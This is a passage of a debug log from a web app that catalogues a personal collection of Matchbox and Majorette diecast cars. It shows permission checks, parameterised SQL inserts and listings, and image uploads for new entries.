      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:28:11.491Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:28:11.491Z server-connect:app Executing action step identify
2026-02-04T11:28:11.491Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:11.491Z server-connect:output identity: 1
2026-02-04T11:28:11.491Z server-connect:app Executing action step restrict
2026-02-04T11:28:11.491Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:11.492Z server-connect:output restrict: undefined
2026-02-04T11:28:11.492Z server-connect:app Executing action step condition
2026-02-04T11:28:11.492Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:28:11.492Z server-connect:app Executing action step insert
2026-02-04T11:28:11.492Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:28:11.493Z server-connect:output insert: { affected: 1, identity: 186 }
2026-02-04T11:28:11.493Z server-connect:app Executing action step condition
2026-02-04T11:28:11.493Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:28:11.493Z server-connect:app Executing action step upload
2026-02-04T11:28:11.493Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:28:11.493Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:28:11.493Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:28:11.493Z server-connect:upload Processing file: {
  name: 'AlfaRomeoTonaleRedColour_700x1000.jpg',
  data: <Buffer >,
  size: 183327,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-72-20378841770204491490',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'ec12abd957b6fd28b7a23725619bdab2',
  mv: [Function: mv]
}
2026-02-04T11:28:11.494Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg',
  rel: 'public/assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg'
}
2026-02-04T11:28:11.494Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg',
  rel: 'assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg'
}
2026-02-04T11:28:11.494Z server-connect:output upload_image: [
  {
    name: 'AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg',
    path: '/public/assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg',
    url: '/assets/images/diecast/AlfaRomeoTonaleRedColour_700x1000_07d74435-79f8-4f6e-a7c2-c65a3932c4b4.jpg',
    type: 'image/jpeg',
    size: 183327
  }
]
2026-02-04T11:28:11.494Z server-connect:app Executing action step repeat
2026-02-04T11:28:11.494Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:28:11.494Z server-connect:app Executing action step insert
2026-02-04T11:28:11.494Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:28:11.494Z server-connect:output images: { affected: 1, identity: 223 }
2026-02-04T11:28:11.494Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:28:11.494Z server-connect:output condition: undefined
2026-02-04T11:28:11.494Z server-connect:output condition: undefined
2026-02-04T11:28:11.830Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:28:11.830Z server-connect:app Executing action step identify
2026-02-04T11:28:11.830Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:11.831Z server-connect:output identity: 1
2026-02-04T11:28:11.831Z server-connect:app Executing action step restrict
2026-02-04T11:28:11.831Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:11.831Z server-connect:output restrict: undefined
2026-02-04T11:28:11.831Z server-connect:app Executing action step paged
2026-02-04T11:28:11.831Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:28:11.833Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 163,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:28:52.415Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:28:52.415Z server-connect:app Executing action step identify
2026-02-04T11:28:52.415Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:52.415Z server-connect:output identity: 1
2026-02-04T11:28:52.415Z server-connect:app Executing action step restrict
2026-02-04T11:28:52.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:52.416Z server-connect:output restrict: undefined
2026-02-04T11:28:52.416Z server-connect:app Executing action step condition
2026-02-04T11:28:52.416Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:28:52.416Z server-connect:app Executing action step insert
2026-02-04T11:28:52.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:28:52.417Z server-connect:output insert: { affected: 1, identity: 187 }
2026-02-04T11:28:52.417Z server-connect:app Executing action step condition
2026-02-04T11:28:52.417Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:28:52.417Z server-connect:app Executing action step upload
2026-02-04T11:28:52.417Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:28:52.417Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:28:52.417Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:28:52.417Z server-connect:upload Processing file: {
  name: 's-l1600.webp',
  data: <Buffer >,
  size: 79818,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-73-20378841770204532414',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'dc0b9510ddb8df17224ffb85e9a38432',
  mv: [Function: mv]
}
2026-02-04T11:28:52.417Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp',
  rel: 'public/assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp'
}
2026-02-04T11:28:52.417Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp',
  rel: 'assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp'
}
2026-02-04T11:28:52.417Z server-connect:output upload_image: [
  {
    name: 's-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp',
    path: '/public/assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp',
    url: '/assets/images/diecast/s-l1600_618b9c44-03eb-4a19-a779-d8562126d682.webp',
    type: 'image/webp',
    size: 79818
  }
]
2026-02-04T11:28:52.417Z server-connect:app Executing action step repeat
2026-02-04T11:28:52.417Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:28:52.417Z server-connect:app Executing action step insert
2026-02-04T11:28:52.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:28:52.418Z server-connect:output images: { affected: 1, identity: 224 }
2026-02-04T11:28:52.418Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:28:52.418Z server-connect:output condition: undefined
2026-02-04T11:28:52.418Z server-connect:output condition: undefined
2026-02-04T11:28:52.730Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:28:52.731Z server-connect:app Executing action step identify
2026-02-04T11:28:52.731Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:52.731Z server-connect:output identity: 1
2026-02-04T11:28:52.731Z server-connect:app Executing action step restrict
2026-02-04T11:28:52.731Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:52.731Z server-connect:output restrict: undefined
2026-02-04T11:28:52.731Z server-connect:app Executing action step paged
2026-02-04T11:28:52.731Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:28:52.735Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 164,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
